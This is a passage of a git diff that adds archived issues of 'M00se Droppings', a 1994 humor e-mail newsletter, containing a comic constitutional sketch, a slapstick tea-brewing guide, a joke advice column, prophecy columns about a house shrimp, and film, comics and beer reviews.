safe to move on to the amendments. Frank, what was the amendment + you wanted to propose? + + [Manlym00se stands and places his Large Manly Fist over his Large + Manly Chest. Patriotic background music begins to play. The + other representatives are transfixed by his Manly form and wait + eagerly for him to speak.] + +MANLYM00SE: I propose that the First Amendment to the M00sey + Constitution read: Congress shall make no law... + + [The music plays on for a few more seconds then winds down. There + is a pregnant pause while the other representatives anxiously + listen for further speechifying which fails to materialize.] + +SVEDISHM00SE: Is that it? + +MANLYM00SE: Yep. + +ICKY-M00SE: I like it! + +PROPHETM00SE: Yes! Its simple, yet it has broad implications on + the whole of M00sey jurisprudence! + +PICKLE: It saves us from ever having to create a supreme court! + +ALACRITY: With no laws there can be no lawbreakers! + +SVEDISHM00SE: And no lawyers! + + [The representatives cheer raucously at the notion of the M00sey + Nation being completely devoid of lawyers.] + +ALL (except Austerem00se): Yay! + +BIG CITY M00SE (taps his gavel on the podium and calls for quiet): + Okay, let's make this official: Frank has moved that the first + Amendment to the Constitution prohibit the Congress from making + any more laws. + +SVEDISHM00SE: I second the motion! + +BIG CITY M00SE: Motion carried! Okay, now we have to vote: all + those in favor of passing Frank's Amendment into law, signify by + saying 'Aye!' + +ALL (except Austerem00se): Ay! + +BIG CITY M00SE: Those opposed, signify by saying 'Nay!' + + [There is no response. Big City M00se takes note of the fact that + Austerem00se has failed to vote either way. He further notes that + he's slumped face down onto the table.] + +BIG CITY M00SE: Hold it... why didn't Evan vote? + + [Pr0phetm00se examines Austerem00se for a moment, then sits back + in his chair.] + +PROPHETM00SE (contritely): He's dead. + +BIG CITY M00SE (annoyed): What, again!? + +SVEDISHM00SE: He left a note here that says it's a temporary + relapse and that he'll most likely be recovered in time for us to + catch Animaniacs. + +BIG CITY M00SE: Wonderful. Wait just a minute... If he's dead, + how did he finish his beer? + + [Big City M00se points out the empty beer mug near Austerem00se's + open hand.] + +SVEDISHM00SE: I drank it for him. (smiles weakly) He said I + could. + +BIG CITY M00SE: Whatever. We'll put Evan down as an abstention. + Alright, we've got our First Amendment. Any ideas for our second? + + +What will the second m00sey amendment be? Due to space +restrictions, I'm afraid you'll have to wait until the next issue +of M00se Droppings to find out. Stay tuned, and until next time, +remember: it's not so much who you confuse that counts but how +you confuse them! Bl00p! + + +How to Brew the Perfect Cup of Tea +---------------------------------- +A M00se Survival Guide by Sabre the Pr0phetm00se + + Few people realize what an utterly important and vital part of + life and society tea is. Tea is more than our friend, it is a + taskmaster which drives evolution forward in a frighteningly + Darwinian scenario which we accept all unwillingly because we are + forced to. Orange Pekoe and Pekoe cut black tea (the most common + tea in America, including all major brands) contains significantly + more caffeine than coffee, yet does not seem to be so heavy in the + drinking. This dichotomy leads people to drink too much tea + without respecting its power, and then their heads explode and + their stomachs melt into a festering mass of Tannic Acid. + Therefore, we include this Tea Brewing Guide to help promote safe + Tea Usage in 44 out of the 47 States of the Union. + + To brew the perfect cup of tea, you will need the following: + + A tin of loose tea -- preferably Twinings. This tea should be one + of the following: + + English Breakfast, Irish Breakfast, Earl Grey, Formosa + Oolong, Lapsong Souchong, Darjeeling, Prince of Wales, or + China Black + + A copper tea kettle with a whistle attachment + Six ounces skim milk warmed to room temperature + A jar of honey emptied into a china pitcher + Silver spoons + A china teacup and saucer + A sterling silver tea infuser + A bone china three cup tea pot + A gas stove (a lit can of sterno will ~not~ suffice) + A copy of British Weekly Magazine + A picture of Queen Elizabeth II + A rolling pin + A Hotpoint Hot Shot + A tea bag (Lipton or Red Rose) + A Far Side mug + A working cold water tap + A gallon of non-carbonated, non-flavored spring water + + First fill the copper kettle full to the rim with tap water. Heft + the tea kettle for a few seconds. This serves to limber the + muscles up. Take the full kettle of water around your home and + water your plants. If you have no plants (or conversely no home) + go to neighbors homes until you find plants to water. Whistle + show tunes as you water the plants, but do ~not~ sing. + + When the copper kettle is empty, return to the area where you are + making tea. Fill the pot exactly three quarters of the way full + with spring water. Check the depth. + + Wait five minutes, to let the water and pot get to know each other + a bit. If they are on friendly terms, it will make the rest of + the process so much nicer. Read an article from the copy of + _British_Weekly_Magazine_. This will put you in the proper mood. + + Turn the gas burner on to medium. The copper pot will allow for + even heating, but the lower flame will promote the water to boil + better. + + Set the pot on the flame. Make certain the whistle attachment is + in place, so that you know when the water will be at a hard boil. + Continue reading _British_Weekly_, occasionally humming "Hail, + Britannia." + + Eventually, you will finish the magazine. Check the kettle. Make + certain the whistle attachment is tight, being careful not to burn + yourself on the hot copper. Lift the lid and glance inside. Sigh + when you see the water is distinctively not boiling. Sing all the + verses to "God Save the Queen" that you happen to know. Read the + classifieds in _British_Weekly_. + + At around this time, you will hear a rustling sound from the + kettle. Run over to the stove and look at it, waiting for the + whistling to start and your tea adventure to begin. Wait long + minutes. Check the whistle attachment again. Stick your slightly + singed fingers in your mouth and lift the kettle's lid. Try to + figure out what's making that rustling sound, since the water is + not boiling. Put the lid back on. + + Take this time to measure two silver teaspoons worth of tea into + the silver infuser. Try not to get upset when you spill half the + tea onto the counter. Sweep it into your hand and throw it out. + Measure out more. Swear as you spill that. Repeat. Again. In a + huff, thrust the infuser into the tin of tea and cram it full of + tea, forcing the lid of the infuser on. + + Check the damn kettle. Make sure the whistle attachment isn't + loose. Scream as you burn your hand. Put it into a stream of + cold water from the tap until your hand goes numb. Look at the + picture of the Queen accusingly. The rustling sound from the pot + will be quite loud. Become convinced that it's boiling and go + take the lid off the kettle. Swear loudly when it isn't. Stick + your finger (from your unburnt, not-numb hand) into the water. + Swear unbelievably when you feel it's merely lukewarm. Replace + the lid and turn the flame up as high as it will go, and pace. + + Begin pacing faster -- fast enough to raise a sweat. Start + singing "God Save The Queen" by the Sex Pistols at the top of your + lungs. Give your picture of the Queen the finger. Start doodling + on your copy of _British_Weekly_. Try to name all of the Rolling + Stones. Give up, and settle for naming all of the Beatles. + Failing that, just name all of the Monkees you can remember. + + About now the whistle attachment will begin to scream at 167 + decibels, causing you to jump five feet and knock the honey over + into the skim milk. Begin swearing as you try to clean up, + yelling louder and louder as you try to speak over the whistle + attachment. Begin to suffer hearing loss. Storm over to the + stove and grab the kettle. Try to pour, but forget the damn + whistle attachment is on, causing two drops of water to be the + limit that will come out. Grab the whistle attachment and try to + pull it off, forgetting that the copper of the kettle is currently + 212 degrees Fahrenheit. Scream, throwing the searing metal from + yourself as hard as you can, though not quickly enough to avoid + third degree burns on your hand. Drop the kettle, causing the lid + to be knocked off and two thirds of a kettle full of water at a + hard boil to cascade out onto the pelvic region of your body. + Scream far louder than you have ever screamed before, grabbing + your rolling pin and smashing dents into the kettle. Use the pin + to shatter the china teapot and cause the overfull infuser to + burst like an overripe kumquat. Throw the magazine at the picture + of the Queen, screaming "It's all your fault!" at the top of your + lungs. Shatter the containers for the milk, honey, and the tea + cup and saucer. Flatten the spoons. + + Hyperventilate. + + Fill the Far Side mug with water from the tap and dump it in the + Hot Shot. Press the "Heat" button. A light will come on. Put + the teabag into the mug. Chuckle at the cartoon, while trembling + with hysteria. When the light goes out (about thirty seconds) + place the mug under the hot shot's spout and press "Dispense." + Boiling water will pour out over the tea bag. Set the mug on the + counter, and methodically dunk the tea bag until the water turns a + deep red color. Throw away the tea bag and sip. Realize this is + the best cup of tea you have ever had. Go and watch television, + sipping your perfect cup of tea and feeling better about the + world. Forget about the gas stove burner still set to high. Die + a horrible, fiery death in your sleep. + + + +REGULAR FEATURES +---------------- + + Returning again are Superguy Digest's The Sage with his omniscient + advice, and Pr0phetm00se's report on the progression of the M00sey + Age. + + Feel free to send in your questions for The Sage, care of + wrd@beer.wa.com. + + +Ask The Sage +------------ +The Only Advice Column You'll Ever Need or Want +by Superguy Digest's The Sage + + + This is the Sage, welcoming you once again! As you (and I well + know), I know everything! ~Everything,~ I tell you! Do you feel + betrayed by so-called "psychic" phone lines? Feel tired of trying + to follow the alleged "advice" given by other, lesser advice + columnists? Tired of trying to get a straight answer out of that + schleppy Usenet Oracle (which doesn't know ~half~ as much as I do, + anyway)? + + Of ~course~ you are! I know! After all, I'm the Sage! I know + ~everything!~ So, if you have a question for me, send it to + Pickle, and he shall relay it to me! I, in turn, will answer it! + Really! + + In the meantime, on to the questions! + + + +DEAR SAGE, + + I have a hunch that my husband is cheating on me. He stays late + at the office every night, working on what he says is a "very + important project." Yet, when he comes home, there's lipstick on + his collar, the smell of perfume about his person, and lots of + one, five, ten, and even twenty dollar bills tucked into his + briefs. What gives? + + Baffled in Bali + + +Baffled, + + Your husband is taking part in a management training course, to + upgrade his job skills for the new employment market that will + shortly be facing him. He is not cheating on you, though he once + considered having a fling with his former secretary, until she + told him she had stopped dating mammals. + + + +DEAR SAGE, + + Will I find love in my future? + + Desperate in Des Moines + + +Desperate, + + Yes! Unfortunately, your love will be unrequited, for Regis + Philbin does not know you exist. You will die lonely, but + extremely rich, and the movie rights to your life will be opted to + Rupert Murdoch, who will cast Grace Jones to play you, despite the + fact that you are a German man. + + + +DEAR SAGE, + + Hey, if you know everything, why aren't you rich? Why don't you + play the lottery? + + Cynical in 'Cisco + + +Cynical, + + Ah, the voice of the hopelessly naive speaks! It is ~because~ I + know everything that I do not use my omniscience for excessive + monetary gain! And you should by no means play the lottery, as it + virtually guarantees that you will be shot. + + + That's all the time I have for this issue! This is the Sage, + signing off! + + + +Tracking the M00sey Age +----------------------- +Prophecy McNuggets for your Illumination +by Sabre the Pr0phetm00se + + + One of the saddest facts of our pathetic existence as thinking + beings is the deadline. This isn't to say the deadline and + resulting deadline pressure are as nasty and anti-social as true + horrors of our so-called modern age like ethnic cleansing, + environmental degradation, and Zima. Just that there is a certain + death of the spirit that comes when a creative individual is + forced into a timetable set by the vagrancies of the publishing + world. + + Of course, these are made all the worse when the column in + question is one written by a prophet, since prophets can't just + drop back ten and punt. They have to be enlightened by the + spirits and forces that drag them kicking and screaming to + illumination. + + These first two paragraphs may well have told the astute reader + that your resident prophet is writing this column at the very last + moment. This is more true than you could know. Saddled into a + mold by the arbitrary decision to encourage readers and members of + the conspiracy by producing this newsletter at some form of + regular intervals, the Pr0phetm00se has found himself at the + eleventh hour, without so much as a glimmer as to the next + morning's weather, much less insight into the coming of the M00sey + Age. + + It would be easy to rail against the heartless nature of the + editors, except the rotten bastards have cleverly been supportive. + "Oh, Sabre," they say in their high pitched editor voices, "if you + haven't been enlightened this month, that's quite all right. We + can give The Sage another hundred lines. Don't worry about it." + They'd like me to believe in their goodwill, I can tell. But they + forget, I ~am~ a prophet, even if I'm not currently being + enlightened. I know full well that the minute I miss one of these + deadlines, this space in the Newsletter will mysteriously be taken + over by a column on Gardening Tips and Philosophy. This column + will be more popular than mine, and I'll be out on the street. + + [Note to myself: Remember to have Sabre killed Thursday. He's + getting too close to the truth.] + + [PS - remember to remove note in final editing.] + + Don't kid yourselves -- with the failure of Ross "Sparky" Perot's + campaign, there aren't very many gigs for professional prophets. + So even if I have to do Tarot readings for the house Shrimp, there + will be a prophetic column each issue, by Leviam00se. + + The Shrimp, by the way, exists. He is the property of the owner + of the house, another M00se whose name I cannot reveal in the + interests of preventing Prophetic Groupies from camping out on his + lawn all night (which is what forced me out of the apartment I + shared with Guardian M00se -- well, that and Guardian M00se's + taste in sausage). He is a salt water Shrimp, and he is red and + white. Every other day, the House Owner dutifully drips brown + sludge into his fish tank and the shrimp comes bounding over, all + happy tentacles and feelers, and starts lapping it up. The sludge + is called "Invertebrate Formula," and is apparently very + expensive. In fact, it is incredibly expensive when you figure + its just mud diluted with tap water. But the Shrimp (who I call + Tippy) loves it, doing his happy Shrimp dance as he sucks it down. + + The House Owner used to have other fish. They're all dead now. I + think the sludge killed them. I ~know~ that Tippy ate them. + This, to me, is exciting drama, much like a community theater + production of a Nova program on Our Salty Bugs of the Deep. + + I should also mention that we don't have cable. + + Besides the House Shrimp and the House Owner, there are two cats + in our happy commune. One cat's job, as near as I can tell, is to + shed. He is large and white, and he sleeps nineteen hours a day + on any surface that could possibly be covered in fine white hair. + He is a pleasant cat who purrs often, which leads me to believe + that he enjoys his work. + + The other cat -- the official outdoor cat -- is far less satisfied + with his lot in life. I can understand this, as he is trapped on + a quest for the Holy Grail, but he's been saddled with a brain the + size of the mouse next to my computer. He spends every waking + minute ripping from one room to the next, eagerly searching for + the Holy Grail. He slides into the room, stares for a few + seconds, and then completely forgets his quest. He looks aimless + for a minute, perhaps cleaning himself, and then suddenly sits up, + a fire in his eyes. Oh yes -- he forgot, but now he remembered -- + of course... the GRAIL!!!! He then turns and runs at his top + emergency speed straight back into the room he just left, and then + repeats the above process. + + Computer users will note an infinite loop. That's nice for the + computer users, since the cat has yet to figure it out. + Eventually, he thinks to ask to go out, is allowed to, and then + dutifully answers the call of nature and the spirit of the hunt by + passing out on the lawn. + + So, two hard working cats, an owner, a prophet, and a Shrimp named + Tippy. This is my environment. + + You wonder why I can't work up a decent prophecy to save my life? + + + +REVIEWS +------- +Edited by Svedishm00se + + All reviews for future editions of M00se Droppings should be sent + to me at swede@drycas.club.cc.cmu.edu, or swede@drycas.bitnet. + Review anything you like - films, fanzines, deodorants, religions, + and so on. You are encouraged to invent your own rating system - + the more inconsistent this section is, the m00sier it is. If you + are able to send your review formatted to 72 columns, please do. + If not, don't worry about it - this isn't rocket science, you + know. Pickle's deadline for submissions is the 11th of each + month, so reviews should be in to me no later than the 9th. + + This month, we have a review of _the_Shadow_ by Icky-m00se, and + Evan Dorkin's _Fun_with_Milk_and_Cheese_ by myself. Bl00p! + + +The Shadow +---------- +A film review by Icky-m00se + +Item: A movie + +Price: Varies with cinema + +Available from: Some production company of some sort + +Starring: Penelope Anne Miller + Dr. Frank N. Furter + One of those hunky Baldwin boys + + + Upon viewing "The Shadow," I was reminded of a line from the + classic (I mean 'classic' in the way that Lizzie Borden is a + classic axe murderer) science fiction movie, "Plan Nine from Outer + Space." That line is said with an insipid whine and goes + something like this: "Stupid! Stupid! Stupid!" + + The dialogue is boring, the story is cliched to the point of being + painful, and the screenplay is more dumbed down than a Jeopardy + game starring the cast of _90120_. However...it looks sooooo + good. I mean, they took the money they were obviously supposed to + spend on scripts, line delivery classes, soundtracks, movie + scores, and plastic surgery for Alec Baldwin's nose, and spent it + all -- the whole wad -- on special effects and cinematography. + + Everything about this movie, from Miller in a skimpy negligee to + Ghengis Kahn's sarcophagus to a hotel that millions of New Yorkers + are unable to see, look phenomenal. It's not as stylistic as + something like "Darkman," but it's ranks right up there with + _Blade_Runner_ and _Brazil_ when it comes to atmosphere. (You'll + notice that I didn't compare it to _Batman_ like every other hack + movie critic has. Of course it's like _Batman_! The 1930's radio + shows were like _Batman_ too. Amazing how _Batman_ wasn't created + by Bob Kane until the mid forties. I wonder what his influences + were?) + + So, normally, I would say avoid a movie this stupid at all costs. + If you must see it, see it on video. Normally I would implore + M00ses everywhere to hunt down and garrote the movie producers + who demanded the screenplay to be over-simplified to the point + that a...that a...that a movie producer could understand it. + Normally I would say rent _Jason_and_the_Argonauts_ instead. But, + alas, movies don't normally look this good, and its looks alone + demand that it be viewed on the big screen. So I recommend that + people see this movie, but I also recommend that you don't pay + anything over bargain matinee prices, and that you scream "shut + the hell up!" every time some one on the screen opens their mouth. + + Rebuttals are welcome and will be reprinted after they are edited + into incoherence. + + +Fun with Milk and Cheese +------------------------ +A comics review by Svedishm00se + + +Item: _Fun_with_Milk_and_Cheese_, a collection of Evan + Dorkin's "Milk and Cheese" comics from the past + five years or so. + +Price: $9.95, plus sales tax in applicable states + +Available from: non-sucky comic stores everywhere, or write to + this address for a free catalog to order through: + + Slave Labor Graphics + 979 S. Bascom Avenue + San Jose, CA 95128 + + + "There's this carton of milk, see, and this wedge of cheese, and + they watch TV, drink beer, and yell and hit people." - Evan + Dorkin, from the introduction + + This is one of those things that are absolutely great to + experience, but when you try to explain it to anyone else, it + causes their attention to wander, or they get up and leave, or, + worse, listen to you indulgently while trying not to giggle out + loud. I mean, how do you explain the epic violence, the + ritualistic quality of each one to four page episode, the hatred, + the beer, and the buckets of blood while claiming it's one of the + funniest comics out there today? + + Answer: you don't. Milk and Cheese ("Dairy Products Gone Bad") + are two characters that defy easy explanation, and would probably + gouge out my eyeballs with a gin bottle if I tried. In the course + of this collection, they do violence to cows, clerks, cops, book + stores, the justice system, drug pushers, nuns, whole cities, + malls, hospitals, bowling alleys, cars, left-wingers, right- + wingers, gas station attendants, pedestrians, children, mimes, + record stores, conventions, comic book readers, comedians, society + in general ("See society pay! And pay! And pay!"), and many, + many more deserving targets, with humor that ranges from dark + satire to blatant punning, all at a furious pace. + + Granted, Milk and Cheese would not make very good m00ses, as they + are hardly non-violent. But I think it's safe to say that a lot + of m00ses would enjoy reading this collection. + + + +ADMINISTRIVIA +------------- + + _Subscriptions_: To subscribe to _M00se_Droppings_, send a + message to Pickle (wrd@beer.wa.com), containing the subject line + "subscribe M00se Droppings". To unsubscribe, use the subject line + "unsubscribe M00se Droppings". + + _Submissions_: For a current submissions guidelines file, send a + message with the subject line "submission guidelines". To send an + actual submission, use the subject line "submit M00se Droppings". + + _Shameless_plugs_: If you enjoy _M00se_Droppings_, you may also + enjoy _Superguy_Digest_, a shared-world collaborative fiction + group devoted mostly to humorous superhero fiction. To subscribe, + send mail to listserv@ucf1vm.cc.ucf.edu, containing the command + "subscribe superguy your name here" in the body of the message. + (Naturally, there are no quotes in the actual command, and you use + your own name.) + +.. + + + +--========================_23396994==_ +Content-Type: text/plain; charset="us-ascii" + + + +-- +William R. Dickson, M00se Illuminatus.................wrd@beer.wa.com +Co-Author, Internet Explorer Kit for Macintosh........iek@tidbits.com +Author, "Team Cynical," Superguy Digest....listserv@ucf1vm.cc.ucf.edu + + + +--========================_23396994==_-- + + diff --git a/textfiles.com/magazines/M00SE/md.051 b/textfiles.com/magazines/M00SE/md.051 new file mode 100644 index 00000000..1e522193 --- /dev/null +++ b/textfiles.com/magazines/M00SE/md.051 @@ -0,0 +1,478 @@ +Date: Mon, 14 Nov 1994 01:19:19 -0800 +From: Dark M00se Rising +Subject: M00se Droppings #51 (11/13/94) -- Mea Culpa! + + +M00SE DROPPINGS #51 - November 13, 1994 +======================================= + + A-M00s-ing Anecdotes and Illumination By and For the Pawns of the + M00se Illuminati + + _M00se Droppings_ is published on the 13th of each month, more or + less. Send submissions and subscription requests to wrd@beer.wa.com. + + All contents copyright the respective authors. More explicit + copyright notice forthcoming, pending consultation with + Pr0phetm00se, our resident expert. + + This issue is being mailed to 84 chapters of the M00se Illuminati. + + +STAFF: + + Editor In Chief: Bill Dickson + Reviews Editor: Gary Olson + News Editor: Dominic White + Superguy Chronicler: Eric Burns + + +IN THIS ISSUE: + + Editorial Notes & Excuses + + News Droppings + Reporter positions filled + M00se Droppings archived on Philadelphia BBS + M00se in a Quarry (I know, I know, it's serious) + + Regular Features + Ask The Sage + Tracking the M00sey Age + + Reviews + Beer + + + +EDITORIAL NOTES +--------------- +>From Pickle, your Friendly Editor + + Greetings, fellow m00ses! Welcome to M00se Droppings #51, next in + a seemingly endless series of smallish text documents that wing + their way through the electronic ether from my place to yours! + + In this issue, we have some special items from regular contri- + butors Svedishm00se and Pr0phetm00se, as well as- + + What's that? + + Oh. I'd hoped you wouldn't notice. + + Yes, yes, I did miss the last two months. This isn't so much a + monthly issue as a quarterly one. I admit the fact, and I + apologize. + + But I do have some excuses, and I know you're just dying to hear + them. + + I was sick! I was house hunting! I was moving! It was like that + when I got here! I was exhausted! The Devil made me do it! I + changed jobs! I was confused! + + Not bad, eh? + + Anyway, that does about cover it. And I'm afraid that, even with + all the extra time, submissions are still dismally low and the + issue is rather small. But hey, you know how to fix that, don't + you? + + Before I go, I would like to pose a question. Responses are + welcome -- nay, encouraged -- and should be sent to my address, + wrd@beer.wa.com. That question is this: + + What do you think of the setext format used in recent issues? + Are you making use of it with a setext reader, or do you just + read it in normal email and wish the issue looked the way it used + to? Let me know, and I'll decide if we're going to keep it like + it is, or work on a prettied-up ASCII format without any setext + tags. + + Of course, maybe we should switch to HTML....hmmmmmm.... + + + +NEWS DROPPINGS +-------------- +Little turds of information for your enjoyment and edification. + + +_Editorial_Positions_ + + Some of you may recall that a couple of editorial positions were + up for grabs three months ago. As you can see by the credits + at the top of the issue, this is no longer the case! I'd like + to thank both who applied, and give a warm welcome to hard- + working Pr0phetm00se, our new Superguy Chronicler. Look for the + Superguy Chronicles to begin in the January issue, and "Meet the + M00ses" next issue. + + +_M00se Droppings Archived on Philadelphia BBS_ + + Mogul, sysop of the Philadelphia-area BBS "Mogel-Land" + (phone: 215-732-3413) has started archiving M00se Droppings along + with thousands of other electronic text files. Check it out! + + +_M00se in a Quarry (I know, I know, it's serious)_ + + In this particular section of the issue, we intended to include + an entertaining story about an 800-pound m00se that was spending + a pleasant afternoon near a quarry, attracted lots of attention, + and finally wound up taking a swan dive twenty-five feet down + into the water after being shot with a tranquilizer dart. The + story would have included a little blurb about how the crane that + lifted the m00se up onto dry land was tipped over by the weight, + but that despite the series of mishaps, the m00se was just fine + and had trotted away under its own power at the end of the episode. + + However, it turns out that it was an AP press release, and since we + don't subscribe to their service, it probably would have been a + copyright infringement. So instead, we just paraphrased it. + + Thank you for your time. + + + +REGULAR FEATURES +---------------- + + Returning again are Superguy Digest's The Sage with his omniscient + advice, and Pr0phetm00se's report on the progression of the M00sey + Age. + + Feel free to send in your questions for The Sage, care of + wrd@beer.wa.com. It would be tragic if we had to start making + them up. + + +Ask The Sage +------------ +The Only Advice Column You'll Ever Need or Want +by Superguy Digest's The Sage + + +DEAR SAGE, + + Or should I say 'Sagelocian the x-Soviet Armenian butcher/klutz/ + looney'? We will not let you forget the genocide of 2.5 million + Muslim people slaughtered by you and your 'killi/kokulu church' + and those like you. Give it up to your 'papazian', 'stooge of + SDPA'! When will you admit your culpability? + + The Serdy-Gerdy Man + + +Serdy, + + For the last time, I will not buy any encyclopedias from you! I + already know everything there is to know! I'm the Sage! (As an + aside, understanding you is one of the few things that strains + even my omniscient abilities! Oy!) + + + +DEAR SAGE, + + I edit and publish a monthly magazine for the, uh, "Cow" + Illuminati. However, nobody ever sends me submissions to help fill + it up, so I have to write lots of filler to "pad out" the + newsletter for my fellow "cows." I am even beginning to fear that + we will have to start making up letters for our advice columnist. + How can I get my fellow "cows" to start sending me submissions? + + "Cucumber" in "Columbus" + + +Cucumber, + + The answer is simple, my green friend: beer! Promise them beer! + As much quality, microbrewed beer as they can drink! Spare no + expense! (Alternatively, send the beer to me. Even in an + intoxicated state, I could make up some pretty startling letters! + After all, I know everything there is to know about being + startling! I'm the Sage!) + + + +DEAR SAGE, + + I am given to understand that you not only know all there is to + know, but that you are extremely handsome, sexy, charming, witty, + vivacious, hard-bodied, suave, muscular, and rugged, too. You + make Tom Cruise look like a rotting pile of whale snot. You make + Stephen Hawking look like Forrest Gump. Your sexual prowess is + matched only by your modesty. This is not a made-up letter at + all. Really. + + Not-the-Sage in North Dakota + + +Not-the-Sage, + + Why, thank you, for those unsolicited and completely not-made-up- + by-me comments! I compliment you on your insights and accurate + percept-- + + *AHEM* + + Er...oh, Pickle! I was just...er... + + *YES?* + + Well, dammit, if we got more questions from your cows... + + *M00SES.* + + I knew that! I'm the... + + *SAGE, YES, I KNOW. I SIGN YOUR CHECKS, AFTER ALL.* + + Oh, forget it. Let's go get some beer. + + *OKAY.* + + + That's all the time I have for this issue! This is the Sage, + signing off! + + + +Tracking the M00sey Age +----------------------- +Prophecy McNuggests for your Electrification +by Reverend Sabre the Pr0phetm00se + + I am not a person who is, by nature, easily impressed. Even when + it is my own prophecy we're discussing, I tend to keep skeptical. + Murphy's Law affects the prophetic as well as anything else, + after all, and I am naturally wary of my prophecy and enlightenment + taking a disastrous turn when I least expect it and am most culpable + for it, at least in a legal sense. You can imagine how nervous I + was, therefore, after I began to reveal the Path of Tippy the House + Shrimp, who was sacrificed by Leviam00se for all of us. After all, + we're treading into pretty blasphemous waters with statements like + that. If we aren't tempting the Gods to smite us down with + lightning, at the very least we're tempting hate mail from the + Religious Right. + + Of course, it is one of my most cherished goals in life to have a + work of mine be banned by the Catholic Church, but I digress. + + Therefore, you can imagine that I wouldn't persist in preaching the + Way of the House Shrimp if I hadn't been convinced myself, right? + Therefore, to borrow from my colleague in journalism, Dave Barry + (I can call him a colleague, because I'm a liar), I am not making + any of the ~facts~ in this essay up. This stuff really happened. + + I guess to begin with, I should talk about the Transfigurement of + Tippy. + + For those of you who do not know, Transfigurement is the carrying + of the corpus (or body) into heaven (or Seattle). According to + Christian Myth (there goes that writing campaign again), Christ rose + from the dead after three days and was transfigured, leaving no + trace behind except for his foreskin, since he was Jewish. In fact, + a number of Christian shrines in the Middle Ages claimed to have the + foreskin of Christ as a sacred relic. + + I am ~still~ not making this up. + + Well, you may recall that the House Owner I was staying with at the + time had decided to leave Tippy to rot in the bottom of the tank + where he was hanging out. It was a week or two later that he + decided to empty the water and clean the tank. Now, there was a lid + on top of the tank, which kept the cats out. I didn't open it. The + House Owner didn't open it. + + When he emptied the tank out, Tippy's body was gone. + + I am ~not~ making this up. + + I immediately realized that Tippy had been Transfigured, and was + already in the Promised Land (Seattle, as I said) drinking Latte and + listening to alternative rock. The House Owner agreed. ManlyM00se, + my M00se Nerf Armament Testing Buddy and Good Friend, scoffed, and + said that Tippy had just dissolved in the salt water, his exoskeleton + melting quickly and his innards wasting away. I thus redubbed + ManlyM00se Doubting Francis, and said that I would make a pilgrimage + to Seattle to look for Tippy. + + Just before I made my spiritual quest, Doubting Francis recanted. He + too found the path of Tippy. He once again assumed his M00sly name of + ManlyM00se and returned to the fold. + + Now, ManlyM00se lived in Ithaca, New York. He had tried to get a job + at Cornell University for years. Years. I say again, years. No + good. All doors were closed. He had recently quit working for a + certain company on the grounds of his employer was a Rat Bastard, and + was now a temporary to pay the bills and keep his children in + implements of destruction. + + After finding the true path of Tippy, ManlyM00se was approached by his + current supervisor. He was, in fact, working up at Cornell at the + time, and had looked into getting real, full time work there, but had + been rebuffed as always. ManlyM00se's Supervisor ordered ManlyM00se + to fill out an application and then hand-delivered it to the Cornell + Campus Store, who then called him and made him go in for an Interview. + + Whereupon they gave him a Directorship in the Store, where he now + heads their Digital Systems department. + + I'm ~still~ not making this up. + + In the meantime, I moved to Seattle, searching for Tippy. While I + haven't found Tippy himself, I ~have~ found contentment at a new (non- + temporary) job, a beautiful, inexpensive house to live in with two + other M00ses who have accepted the Way of Tippy, and I've been + ordained. Not in the Church of Tippy, but in a Church that has no + doctrine at all except that whatever the individual believer believes + is right. So therefore the Way of Tippy is doctrinally correct, and I + can perform marriages and have discounts on public transport. + + None of the above was made up. It all happened or is happening. + + So don't tell ~ME~ my prophecy's crap! Transfigured shrimp, M00ses + being thrown productive jobs and Legal and Moral Ordination that was + free and simple should be enough to convince any and all of the + Doubting Francises amongst you. + + Of course, the upheavals of the above have prevented me from producing + the latest transcriptions of my visions into the Book of Crustaceans. + Next time, I promise. + + Hey, you can trust me. I'm a Minister. And so far, I'm batting a + thousand. + + NEXT TIME -- conclusive proof of the Anger of the Gods stemming from + off-year Winter Olympics being held, and how it relates to Republican + gains in Congress. + + + +REVIEWS +------- +Edited by Svedishm00se + + All reviews for future editions of The Gary, Eric, Dominic, and Bill + Follies should be sent to me at swede@drycas.club.cc.cmu.edu, or + swede@drycas.bitnet. Review anything you like - films, fanzines, + deodorants, religions, and so on. You are encouraged to invent your + own rating system - the more inconsistent this section is, the m00sier + it is. If you are able to send your review formatted to 72 columns, + please do. If not, don't worry about it - this isn't rocket science, + you know. Pickle's deadline for submissions is the 11th of each + month, so reviews should be in to me no later than the 9th. + + + This month, we have a review of several microbrews from the Pacific + Northwest, written by Svedishm00se, who lives nowhere near that + region. + + +BEER +---- +Some reviews by Svedishm00se + +Items: Black Hook Porter, Red Hook ESB, Thomas Kemper Weizen + Berry, Grant's Perfect Porter, Emerald City Ale + +Price: Yes. (They were a gift, you see.) + +Purchased From: Various microbreweries in the Pacific Northwest. + + + A few months ago, Svedishm00se was laboring hard. What was he doing, + you ask? + + (pause) + + Well, ask, already! + + (pause) + + Oh, never mind, I'll tell you anyway. He was working hard on editing + scenes written by various Superguy authors for "Symphony," the + concluding, massively-long battle in the Industrial Revolution + storyline, a storyline whose epic nature inspired heavy drinking in + almost everyone who encountered it. Many were the hours he spent, + painful were the headaches he got, blunt were the instruments he hit + himself in the head with. Finally, it was completed, and, lo, it + went over well. + + Pickle and Icky-M00se decided to reward Svedishm00se for his effort + in this long and grueling endeavor. In a gesture that proved once + and for all how astonishingly m00sey they were, they gave the gift + of beer. Not just any beer, mind you, but top-quality microbrewed + beer from some of the finest microbreweries in the state of + Washington. + + There were twelve in all, though I'll just single out five here for + special mention. The other seven were quite good, though I'm not + sure how big a fan I am of wheat beer yet. + + Of the twelve, my favorites were the two porters, the Black Hook + Porter and Grant's Perfect Porter. "Perfect" doesn't begin to + describe them - I'd say they're thrice as good as Anchor Porter, my + former favorite porter. I'm given to understand that they're + expensive as compared to "Budweiser," or any other mass-produced + bile you would care to name, but I'd consider the extra money to be + well spent. + + The Thomas Kemper Weizen Berry was excellent, a tasty blending of + lager and raspberry juice that went down quickly. The Emerald City + Ale was easily on par with Pete's Wicked Ale, and the Red Hook ESB + (Extra Strong Bitter) was marvelously good. + + My ratings are as follows: + + Beers: Black Hook Porter, Grant's Porter: 10 + Thomas Kemper Weizen Berry: 9.4 + Emerald City Ale: 9.2 + Red Hook ESB: 9.1 + The Rest: (avg. 8.9) + Pickle and + Icky: Truly great and noble m00ses. + + [Editor's Note: Lest the reader get the impression that Pickle and + Icky-M00se are all sweetness and light, it should be noted that + they made a desperate attempt to convince Svedishm00se that the + beer was actually his birthday present, and that they hadn't + actually forgotten the event. He was not taken in, however.] + + + +ADMINISTRIVIA +------------- + + _Subscriptions_: To subscribe to M00se Droppings, send a message to + Pickle (wrd@beer.wa.com), containing the subject line "subscribe + droppings". To unsubscribe, use the subject line 